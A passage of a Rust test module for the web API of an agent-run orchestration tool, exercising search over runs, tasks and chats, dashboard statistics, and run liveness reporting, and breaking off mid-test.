11133 .await
11134 .json();
11135 assert_eq!(stmt["total"], 2, "{stmt}");
11136 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
11137 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
11138 }
11139
11140 #[test]
11141 fn snippet_ignores_terms_longer_than_the_field() {
11142 let terms = ["ok".to_owned(), "elephant".to_owned()];
11143 let parts = snippet_of("ok", &terms);
11144 assert_eq!(
11145 parts,
11146 vec![SnippetPart {
11147 text: "ok".to_owned(),
11148 hit: true
11149 }]
11150 );
11151 }
11152
11153 #[test]
11154 fn snippet_marks_matches_longer_than_the_window() {
11155 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
11156 let hit_len = |parts: &[SnippetPart]| -> usize {
11157 parts
11158 .iter()
11159 .filter(|p| p.hit)
11160 .map(|p| p.text.chars().count())
11161 .sum()
11162 };
11163 let total =
11164 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
11165
11166 let long = "a".repeat(120);
11167 let parts = snippet_of(&long, std::slice::from_ref(&long));
11168 assert!(hit_len(&parts) > 0, "{parts:?}");
11169 assert!(total(&parts) <= cap);
11170
11171 let ja = "あ".repeat(130);
11172 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
11173 assert!(hit_len(&parts) > 0, "{parts:?}");
11174 assert!(total(&parts) <= cap);
11175
11176 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
11178 let term = format!("ab{}", "c".repeat(100));
11179 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
11180 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
11181 assert!(total(&parts) <= cap);
11182
11183 let text = format!("{}z", "a".repeat(119));
11185 let parts = snippet_of(&text, &["a".repeat(120)]);
11186 assert_eq!(hit_len(&parts), 0, "{parts:?}");
11187 }
11188
11189 #[tokio::test]
11190 async fn search_caps_hits_and_snippet_length() {
11191 let f = Fixture::start().await;
11192 let runs = f.runs();
11193 for n in 0..(SEARCH_MAX_HITS + 5) {
11194 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
11195 }
11196 let v = f.get("/api/search?scope=runs&q=web").await.json();
11197 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
11198 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
11199 assert_eq!(v["truncated"], true);
11200 assert!(
11202 v["hits"]
11203 .as_array()
11204 .unwrap()
11205 .iter()
11206 .all(|h| h["run"]["status"] == "merged")
11207 );
11208
11209 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
11210 let parts = snippet_of(&long, &["needle".to_owned()]);
11211 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
11212 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
11213 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
11214 }
11215
11216 #[tokio::test]
11217 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
11218 let f = Fixture::start().await;
11219 let queue = f.queue();
11220 let mut t = Task::new(
11221 "short title".to_owned(),
11222 "line one\nthe hidden Armadillo detail".to_owned(),
11223 PathBuf::from("/repo/magi"),
11224 Source::Agent {
11225 run: "r1".to_owned(),
11226 node: "chat".to_owned(),
11227 },
11228 );
11229 t.last_error = Some("disk full on /tmp".to_owned());
11230 queue.put(&mut t).expect("file the task");
11231
11232 for (q, want) in [
11233 ("armadillo", 1),
11234 ("disk%20FULL", 1),
11235 ("chat", 1),
11236 ("queued", 1),
11237 ("short%20nothing", 0),
11238 ] {
11239 let v = f
11240 .get(&format!("/api/search?scope=tasks&q={q}"))
11241 .await
11242 .json();
11243 assert_eq!(v["total"], want, "{q}: {v}");
11244 }
11245 for bad in [
11246 "/api/search?scope=tasks&q=",
11247 "/api/search?scope=tasks&q=%20",
11248 "/api/search?scope=chats&q=",
11249 "/api/search?scope=chats&q=%20",
11250 "/api/search?scope=nope&q=a",
11251 "/api/search?q=a",
11252 ] {
11253 assert_eq!(f.get(bad).await.status, 400, "{bad}");
11254 }
11255 }
11256
11257 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
11259 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
11260 .expect("seat value");
11261 let turns: Vec<serde_json::Value> = turns
11262 .iter()
11263 .map(|(who, body)| {
11264 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
11265 })
11266 .collect();
11267 let doc = serde_json::json!({
11268 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
11269 "status": status, "turns": turns,
11270 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
11271 "seat": seat,
11272 });
11273 let dir = f.home.path().join("talks");
11274 std::fs::create_dir_all(&dir).expect("talks dir");
11275 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
11276 }
11277
11278 #[tokio::test]
11279 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
11280 let f = Fixture::start().await;
11281 write_talk(
11282 &f,
11283 "20260901-000001-aaaa",
11284 "open",
11285 &[
11286 (
11287 "operator",
11288 "\n Why does the Pangolin cache expire?\nsecond line",
11289 ),
11290 ("agent", "Because the TTL is thirty seconds."),
11291 ],
11292 );
11293 write_talk(
11294 &f,
11295 "20260901-000002-bbbb",
11296 "closed",
11297 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
11298 );
11299 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
11300
11301 let search = |q: &'static str| {
11302 let f = &f;
11303 async move {
11304 f.get(&format!("/api/search?scope=chats&q={q}"))
11305 .await
11306 .json()
11307 }
11308 };
11309
11310 let v = search("PANGOLIN").await;
11311 assert_eq!(v["scope"], "chats");
11312 assert_eq!(v["total"], 1, "{v}");
11313 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
11314 assert_eq!(v["hits"][0]["field"], "title");
11315 assert_eq!(v["unreadable"], 1, "{v}");
11316 let marked: Vec<&str> = v["hits"][0]["snippet"]
11317 .as_array()
11318 .unwrap()
11319 .iter()
11320 .filter(|p| p["hit"] == true)
11321 .map(|p| p["text"].as_str().unwrap())
11322 .collect();
11323 assert_eq!(marked, ["Pangolin"]);
11324
11325 let v = search("zebra").await;
11327 assert_eq!(v["total"], 1, "{v}");
11328 assert_eq!(v["hits"][0]["field"], "agent");
11329 assert_eq!(search("pangolin%20thirty").await["total"], 1);
11331 assert_eq!(search("pangolin%20zebra").await["total"], 0);
11332 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
11334 assert_eq!(search(q).await["total"], 0, "{q}");
11335 }
11336 assert_eq!(search("second").await["hits"][0]["field"], "operator");
11338 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
11340
11341 let v = f.get("/api/search?scope=nope&q=a").await;
11342 assert_eq!(v.status, 400);
11343 assert!(
11344 v.body.contains("scope must be runs, tasks or chats"),
11345 "{}",
11346 v.body
11347 );
11348 }
11349
11350 #[test]
11351 fn a_question_card_links_a_task_id_to_the_task_page() {
11352 let start = APP_JS
11353 .find("function updateAskCard(")
11354 .expect("updateAskCard exists");
11355 let body = &APP_JS[start..];
11356 let body = &body[..body.find("\n}\n").expect("function end")];
11357 assert!(body.contains("question.run_is_task"));
11358 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
11359 assert!(body.contains("`#/runs/${question.run}`"));
11360 assert!(body.contains("\"task\" : \"run\""));
11361 }
11362
11363 #[test]
11364 fn stats_bars_share_one_id_keyed_plan() {
11365 let start = APP_JS
11366 .find("function statsBarRows(")
11367 .expect("statsBarRows exists");
11368 let body = &APP_JS[start..];
11369 let body = &body[..body.find("\n}\n").expect("function end")];
11370 assert!(body.contains("statsBarPlan(rows)"));
11371 assert!(body.contains("statsAgentTone(row.agent)"));
11372 assert!(!body.contains("candTone(i)"));
11373 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
11374 for root in ["stats-agents-bars", "stats-reviewers-bars"] {
11375 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
11376 }
11377 }
11378
11379 #[test]
11380 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
11381 let start = APP_JS
11382 .find("function renderStatsReviewerScatter(")
11383 .expect("renderStatsReviewerScatter exists");
11384 let body = &APP_JS[start..];
11385 let body = &body[..body.find("\n}\n").expect("function end")];
11386 assert!(body.contains("statsScatterPlan(reviewers)"));
11387 assert!(body.contains("statsAgentTone(d.agent)"));
11388 assert!(APP_JS.contains("function statsScatterPlan("));
11389 assert!(
11390 APP_JS.contains("d.submitted < STATS_LOW_N")
11391 || APP_JS.contains("r.submitted < STATS_LOW_N")
11392 );
11393 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
11394 assert!(APP_CSS.contains(".precision-scatter"));
11395 }
11396
11397 #[test]
11398 fn advisor_reflection_is_drawn_as_stacked_segments() {
11399 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
11400 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
11401 let html = include_str!("../assets/ui/index.html");
11402 assert!(html.contains("Approximate"));
11403 for label in ["reflected strongly", "faint", "no proposal"] {
11404 assert!(html.contains(label));
11405 }
11406 let css = include_str!("../assets/ui/app.css");
11407 for c in ["refl-strong", "refl-faint", "refl-absent"] {
11408 assert!(css.contains(&format!(".{c} {{")));
11409 }
11410 }
11411
11412 #[test]
11413 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
11414 assert!(APP_JS.contains("function statsDailyPlan("));
11415 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
11416 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
11417 }
11418
11419 #[test]
11420 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
11421 let start = APP_JS
11422 .find("function scheduleSearch(")
11423 .expect("scheduleSearch exists");
11424 let body = &APP_JS[start..];
11425 let body = &body[..body.find("\n}\n").expect("function end")];
11426 assert!(body.contains("s.seq += 1"));
11427 }
11428
11429 #[tokio::test]
11434 async fn stats_runs_unreadable_matches_health() {
11435 let f = Fixture::start().await;
11436 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11437 let broken = f.runs().join("20260902-140502-bad");
11438 std::fs::create_dir_all(&broken).expect("run dir");
11439 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11440
11441 let stats = f.get("/api/stats").await;
11442 let health = f.get("/api/health").await;
11443
11444 assert_eq!(stats.status, 200);
11445 assert_eq!(stats.json()["totals"]["runs"], 1);
11446 assert_eq!(stats.json()["runs_unreadable"], 1);
11447 assert_eq!(
11448 stats.json()["runs_unreadable"],
11449 health.json()["runs_unreadable"],
11450 "the dashboard and /api/health must never disagree about how many \
11451 runs could not be read"
11452 );
11453 }
11454
11455 #[tokio::test]
11456 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
11457 let f = Fixture::start().await;
11458 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11459 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
11460 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
11461
11462 let totals = &f.get("/api/stats").await.json()["totals"];
11463 assert_eq!(totals["runs"], 3);
11464 assert_eq!(totals["merged"], 1);
11465 assert_eq!(totals["stalled"], 1);
11466 assert_eq!(totals["in_progress"], 1);
11467 assert_eq!(totals["blocked"], 0);
11470 assert_eq!(totals["ready"], 0);
11471 }
11472
11473 #[tokio::test]
11474 async fn stats_advisors_report_proposals_and_reflection() {
11475 use crate::advise::{Advice, AdvisorRecord, Reflection};
11476 use crate::verdict::Proposal;
11477
11478 let f = Fixture::start().await;
11479 let mut state = RunState::new(
11480 PathBuf::from("/repo/magi"),
11481 "main".to_owned(),
11482 "0123456789abcdef".to_owned(),
11483 "task".to_owned(),
11484 Config::default(),
11485 );
11486 state.id = "20260902-140501-a".to_owned();
11487 state.status = RunStatus::Merged;
11488 state.advice = Some(Advice {
11489 records: vec![
11490 AdvisorRecord {
11491 seat: "advisor-1".to_owned(),
11492 agent: "alpha".to_owned(),
11493 proposal: Some(Proposal {
11494 approach: "do it".to_owned(),
11495 key_tradeoff: "speed over memory".to_owned(),
11496 risks: Vec::new(),
11497 touches: Vec::new(),
11498 why_not_naive: "breaks under load".to_owned(),
11499 }),
11500 error: None,
11501 duration_ms: 0,
11502 reflection: Reflection::Strong,
11503 },
11504 AdvisorRecord {
11505 seat: "advisor-2".to_owned(),
11506 agent: "alpha".to_owned(),
11507 proposal: None,
11508 error: Some("timed out".to_owned()),
11509 duration_ms: 0,
11510 reflection: Reflection::Absent,
11511 },
11512 ],
11513 synthesis: Some("blended brief".to_owned()),
11514 });
11515 let dir = f.runs().join(&state.id);
11516 std::fs::create_dir_all(&dir).expect("run dir");
11517 std::fs::write(
11518 dir.join("run.json"),
11519 serde_json::to_string_pretty(&state).expect("serialize run"),
11520 )
11521 .expect("write run.json");
11522
11523 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
11524 let alpha = advisors
11525 .as_array()
11526 .expect("an array")
11527 .iter()
11528 .find(|a| a["agent"] == "alpha")
11529 .expect("alpha row");
11530 assert_eq!(alpha["seated"], 2);
11531 assert_eq!(alpha["proposed"], 1);
11532 assert_eq!(alpha["absent"], 1);
11533 assert_eq!(alpha["strong"], 1);
11534 assert_eq!(alpha["faint"], 0);
11535 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
11536 }
11537
11538 #[tokio::test]
11539 async fn stats_release_bumps_split_clean_from_attention() {
11540 use crate::run::ReleaseBump;
11541
11542 let f = Fixture::start().await;
11543
11544 let mut clean = RunState::new(
11545 PathBuf::from("/repo/magi"),
11546 "main".to_owned(),
11547 "0123456789abcdef".to_owned(),
11548 "task".to_owned(),
11549 Config::default(),
11550 );
11551 clean.id = "20260902-140501-a".to_owned();
11552 clean.status = RunStatus::Merged;
11553 clean.release_bump = Some(ReleaseBump {
11554 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
11555 version: Some("1.0.0".to_owned()),
11556 automerge_enabled: true,
11557 merged_directly: false,
11558 local: false,
11559 release: None,
11560 problem: None,
11561 action_required: None,
11562 });
11563
11564 let mut blocked = RunState::new(
11565 PathBuf::from("/repo/magi"),
11566 "main".to_owned(),
11567 "0123456789abcdef".to_owned(),
11568 "task".to_owned(),
11569 Config::default(),
11570 );
11571 blocked.id = "20260902-140502-b".to_owned();
11572 blocked.status = RunStatus::Merged;
11573 blocked.release_bump = Some(ReleaseBump {
11574 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
11575 version: Some("1.0.1".to_owned()),
11576 automerge_enabled: false,
11577 merged_directly: false,
11578 local: false,
11579 release: None,
11580 problem: Some("checks red".to_owned()),
11581 action_required: Some("look at the PR".to_owned()),
11582 });
11583
11584 for state in [&clean, &blocked] {
11585 let dir = f.runs().join(&state.id);
11586 std::fs::create_dir_all(&dir).expect("run dir");
11587 std::fs::write(
11588 dir.join("run.json"),
11589 serde_json::to_string_pretty(state).expect("serialize run"),
11590 )
11591 .expect("write run.json");
11592 }
11593
11594 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11595 assert_eq!(bumps["merged"], 2);
11596 assert_eq!(bumps["recorded"], 2);
11597 assert_eq!(bumps["pr_opened"], 2);
11598 assert_eq!(bumps["automerge_enabled"], 1);
11599 assert_eq!(bumps["needs_attention"], 1);
11600 assert_eq!(bumps["clean"], 1);
11601 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
11602 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
11603 }
11604
11605 #[tokio::test]
11606 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
11607 let f = Fixture::start().await;
11608 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11609
11610 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11611 assert_eq!(bumps["merged"], 1);
11612 assert_eq!(bumps["recorded"], 0);
11613 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
11616 assert_eq!(bumps["automerge_rate"], Value::Null);
11619 assert_eq!(bumps["attention_rate"], Value::Null);
11620 }
11621
11622 #[tokio::test]
11623 async fn stats_queue_counts_come_from_the_live_queue() {
11624 let f = Fixture::start().await;
11625 let q = f.queue();
11626 let mut queued = Task::new(
11627 "queued task".to_owned(),
11628 "do it".to_owned(),
11629 PathBuf::from("/repo"),
11630 Source::Human,
11631 );
11632 q.put(&mut queued).expect("put queued");
11633 let mut held = Task::new(
11634 "held task".to_owned(),
11635 "do it later".to_owned(),
11636 PathBuf::from("/repo"),
11637 Source::Human,
11638 );
11639 held.hold_machine(Some("out of attempts".to_owned()));
11640 q.put(&mut held).expect("put held");
11641
11642 let queue = f.get("/api/stats").await.json()["queue"].clone();
11643 assert_eq!(queue["queued"], 1);
11644 assert_eq!(queue["held"], 1);
11645 assert_eq!(queue["running"], 0);
11646 assert_eq!(queue["done"], 0);
11647 assert_eq!(queue["failed"], 0);
11648 assert_eq!(queue["blocked"], 0);
11649 }
11650
11651 #[tokio::test]
11652 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
11653 let f = Fixture::start().await;
11654 let stats = f.get("/api/stats").await;
11655 assert_eq!(stats.status, 200);
11656 assert_eq!(stats.json()["totals"]["runs"], 0);
11657 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
11658 assert_eq!(stats.json()["runs_unreadable"], 0);
11659 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
11660 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
11661 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
11662 assert_eq!(stats.json()["repo"], Value::Null);
11663 }
11664
11665 #[tokio::test]
11666 async fn stats_lists_every_repository_with_runs_recorded() {
11667 let f = Fixture::start().await;
11668 write_run_repo(
11669 &f.runs(),
11670 "20260902-140501-a",
11671 RunStatus::Merged,
11672 "/repos/a",
11673 );
11674 write_run_repo(
11675 &f.runs(),
11676 "20260902-140502-b",
11677 RunStatus::Merged,
11678 "/repos/a",
11679 );
11680 write_run_repo(
11681 &f.runs(),
11682 "20260902-140503-c",
11683 RunStatus::Blocked,
11684 "/repos/b",
11685 );
11686
11687 let stats = f.get("/api/stats").await;
11688 assert_eq!(stats.status, 200);
11689 assert_eq!(stats.json()["totals"]["runs"], 3);
11691 assert_eq!(stats.json()["repo"], Value::Null);
11692
11693 let repos = stats.json()["repos"].clone();
11694 let repos = repos.as_array().unwrap();
11695 assert_eq!(repos.len(), 2);
11696 assert_eq!(repos[0]["repo"], "/repos/a");
11698 assert_eq!(repos[0]["name"], "a");
11699 assert_eq!(repos[0]["runs"], 2);
11700 assert_eq!(repos[1]["repo"], "/repos/b");
11701 assert_eq!(repos[1]["runs"], 1);
11702 }
11703
11704 #[tokio::test]
11705 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
11706 let f = Fixture::start().await;
11707 write_run_repo(
11708 &f.runs(),
11709 "20260902-140501-a",
11710 RunStatus::Merged,
11711 "/repos/a",
11712 );
11713 write_run_repo(
11714 &f.runs(),
11715 "20260902-140502-b",
11716 RunStatus::Blocked,
11717 "/repos/b",
11718 );
11719
11720 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
11721 assert_eq!(stats.status, 200);
11722 assert_eq!(stats.json()["totals"]["runs"], 1);
11723 assert_eq!(stats.json()["totals"]["merged"], 1);
11724 assert_eq!(stats.json()["repo"], "/repos/a");
11725 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
11728 assert_eq!(stats.json()["runs_unreadable"], 0);
11731 }
11732
11733 #[tokio::test]
11734 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
11735 let f = Fixture::start().await;
11736 write_run_repo(
11737 &f.runs(),
11738 "20260902-140501-a",
11739 RunStatus::Merged,
11740 "/repos/a",
11741 );
11742 write_run_repo(
11743 &f.runs(),
11744 "20260902-140502-b",
11745 RunStatus::Merged,
11746 "/repos/b",
11747 );
11748
11749 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
11750 let json = f.get(uri).await.json();
11751 let daily = json["daily"].as_array().expect("daily is an array");
11752 assert_eq!(daily.len(), 30);
11753 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
11754 let mut sorted = dates.clone();
11755 sorted.sort();
11756 assert_eq!(dates, sorted);
11757 for d in daily {
11758 assert_eq!(
11759 d["merged"].as_u64().unwrap()
11760 + d["ready"].as_u64().unwrap()
11761 + d["other"].as_u64().unwrap(),
11762 d["runs"].as_u64().unwrap()
11763 );
11764 }
11765 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
11766 }
11767 }
11768
11769 #[tokio::test]
11770 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
11771 let f = Fixture::start().await;
11772 write_run_repo(
11773 &f.runs(),
11774 "20260902-140501-a",
11775 RunStatus::Merged,
11776 "/repos/a",
11777 );
11778
11779 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
11780 assert_eq!(stats.status, 404);
11781 }
11782
11783 #[tokio::test]
11784 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
11785 let f = Fixture::start().await;
11786 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
11787
11788 let summary = f.get("/api/runs").await.json();
11789 let row = &summary[0];
11790 assert_eq!(row["short"], "a1b2");
11791 assert_eq!(row["status"], "ready");
11792 assert_eq!(row["done"], true);
11793 assert_eq!(row["title"], "Add a web UI");
11794 assert_eq!(row["repo_name"], "magi");
11795 assert_eq!(row["judges"], 3);
11796 assert_eq!(row["winner"], Value::Null);
11797 assert_eq!(row["reviews"], 0);
11798
11799 let detail = f.get("/api/runs/a1b2").await;
11802 assert_eq!(detail.status, 200);
11803 assert_eq!(detail.json()["base_branch"], "main");
11804 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
11805 }
11806
11807 #[tokio::test]
11815 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
11816 let f = Fixture::start().await;
11817
11818 let mut none_run = RunState::new(
11819 PathBuf::from("/repo/magi"),
11820 "main".to_owned(),
11821 "0123456789abcdef".to_owned(),
11822 "Add a web UI".to_owned(),
11823 Config::default(),
11824 );
11825 none_run.id = "20260902-140503-none".to_owned();
11826 none_run.status = RunStatus::Ready;
11827 none_run.merge = Some(crate::run::MergeOutcome {
11828 mode: crate::config::MergeMode::None,
11829 ok: true,
11830 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
11831 empty: false,
11832 });
11833 write_state(&f.runs(), &none_run);
11834
11835 let mut pr_run = RunState::new(
11836 PathBuf::from("/repo/magi"),
11837 "main".to_owned(),
11838 "0123456789abcdef".to_owned(),
11839 "Add a web UI".to_owned(),
11840 Config::default(),
11841 );
11842 pr_run.id = "20260902-140504-prcl".to_owned();
11843 pr_run.status = RunStatus::Ready;
11844 pr_run.merge = Some(crate::run::MergeOutcome {
11845 mode: crate::config::MergeMode::Pr,
11846 ok: false,
11847 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
11848 empty: false,
11849 });
11850 write_state(&f.runs(), &pr_run);
11851
11852 let summary = f.get("/api/runs").await.json();
11853 let rows: std::collections::HashMap<&str, &Value> = summary
11854 .as_array()
11855 .expect("an array")
11856 .iter()
11857 .map(|r| (r["id"].as_str().expect("an id"), r))
11858 .collect();
11859 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
11860 assert_eq!(
11861 rows[none_run.id.as_str()]["unmerged_by_design"],
11862 true,
11863 "a mode-none Ready must be flagged in the list"
11864 );
11865 assert_eq!(
11866 rows[pr_run.id.as_str()]["unmerged_by_design"],
11867 false,
11868 "a Ready reached by a closed pull request is a different case"
11869 );
11870
11871 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
11872 assert_eq!(none_detail["status"], "ready");
11873 assert_eq!(none_detail["unmerged_by_design"], true);
11874
11875 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
11876 assert_eq!(pr_detail["unmerged_by_design"], false);
11877 }
11878
11879 #[tokio::test]
11884 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
11885 let f = Fixture::start().await;
11886 let id = "20260902-140502-bbbb";
11890 let mut state = RunState::new(
11891 PathBuf::from("/repo/magi"),
11892 "main".to_owned(),
11893 "0123456789abcdef".to_owned(),
11894 "Add a web UI".to_owned(),
11895 Config::default(),
11896 );
11897 state.id = id.to_owned();
11898 state.status = RunStatus::Judging;
11899 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
11900 let dir = f.runs().join(id);
11901 std::fs::create_dir_all(&dir).expect("run dir");
11902 std::fs::write(
11903 dir.join("run.json"),
11904 serde_json::to_string_pretty(&state).expect("serialize run"),
11905 )
11906 .expect("write run.json");
11907
11908 let cold = f.get(&format!("/api/runs/{id}")).await.json();
11914 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
11915 assert_eq!(cold["live"], "unknown", "{cold}");
11916
11917 write_daemon(f.home.path(), Timestamp::now());
11920 let warm = f.get(&format!("/api/runs/{id}")).await.json();
11921 assert_eq!(warm["live"], "live", "{warm}");
11922 }
11923
11924 #[tokio::test]
11927 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
11928 let f = Fixture::start().await;
11929 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
11930 let mut state = RunState::new(
11931 PathBuf::from("/repo/magi"),
11932 "main".to_owned(),
11933 "0123456789abcdef".to_owned(),
11934 "Add a web UI".to_owned(),
11935 Config::default(),
11936 );
11937 state.id = id.to_owned();
11938 state.origin = origin;
11939 let mut value = serde_json::to_value(&state).expect("serialize run");
11940 if let Some(schema) = schema {
11941 value["schema"] = serde_json::json!(schema);
11942 value.as_object_mut().unwrap().remove("origin");
11943 }
11944 let dir = f.runs().join(id);
11945 std::fs::create_dir_all(&dir).expect("run dir");
11946 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
11947 };
11948 write(
11949 "20260930-092817-ec34",
11950 Some(crate::run::Origin::from_agent_env(
11951 Some(("4a7b".to_owned(), "chat".to_owned())),
11952 None,
11953 )),
11954 None,
11955 );
11956 write("20260930-092817-0ld1", None, Some(12));
11957
11958 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
11959 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
11960 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
11961
11962 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
11963 assert_eq!(
11964 old["origin_label"], "origin unknown (started before origins were recorded)",
11965 "{old}"
11966 );
11967 assert!(old["origin"].is_null(), "{old}");
11968
11969 let list = f.get("/api/runs").await.json();
11970 let labels: Vec<_> = list
11971 .as_array()
11972 .unwrap()
11973 .iter()
11974 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
11975 .collect();
11976 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
11977 }
11978
11979 #[tokio::test]
11986 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
11987 let f = Fixture::start().await;
11988 let id = "20260922-090000-cccc";
11989 let mut state = RunState::new(
11990 PathBuf::from("/repo/magi"),
11991 "main".to_owned(),
11992 "0123456789abcdef".to_owned(),
11993 "Review only".to_owned(),
11994 Config::default(),
11995 );
11996 state.id = id.to_owned();
11997 state.status = RunStatus::Reviewing;
11998 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11999 state.driver_pid = Some(std::process::id());
12005 state.driver_started_at = Some(
12006 crate::proc::process_started_at(std::process::id())
12007 .expect("this test process's own start time must be queryable"),
12008 );
12009 let dir = f.runs().join(id);
12010 std::fs::create_dir_all(&dir).expect("run dir");
12011 std::fs::write(
12012 dir.join("run.json"),
12013 serde_json::to_string_pretty(&state).expect("serialize run"),
12014 )
12015 .expect("write run.json");
12016
12017 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12018 assert_eq!(detail["live"], "live", "{detail}");
12019 }
12020
12021 #[tokio::test]
12027 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
12028 let f = Fixture::start().await;
12029 let id = "20260922-090100-dddd";
12030 let mut state = RunState::new(
12031 PathBuf::from("/repo/magi"),
12032 "main".to_owned(),
12033 "0123456789abcdef".to_owned(),
12034 "Review only".to_owned(),
12035 Config::default(),
12036 );
12037 state.id = id.to_owned();
12038 state.status = RunStatus::Reviewing;
12039 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
12040 state.driver_pid = Some(std::process::id());
12045 state.driver_started_at = Some("1".to_owned());
12046 let dir = f.runs().join(id);
12047 std::fs::create_dir_all(&dir).expect("run dir");
12048 std::fs::write(
12049 dir.join("run.json"),
12050 serde_json::to_string_pretty(&state).expect("serialize run"),
12051 )
12052 .expect("write run.json");
12053
12054 let detail = f.get(&format!("/api/runs/{id}")).await.json();
12055 assert_eq!(detail["live"], "dead", "{detail}");
12056 }
12057
12058 #[test]
12062 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
12063 let mk = |id: &str, pid: Option<u32>| {
12064 let mut s = RunState::new(
12065 PathBuf::from("/repo/magi"),
12066 "main".to_owned(),
12067 "0123456789abcdef".to_owned(),
12068 "Add a web UI".to_owned(),
12069 Config::default(),
12070 );
12071 s.id = id.to_owned();
12072 s.driver_pid = pid;
12073 s.driver_started_at = Some("1790000000".to_owned());
12074 s
12075 };
12076 let states = vec![
12077 mk("20260902-140502-aaaa", Some(77)),
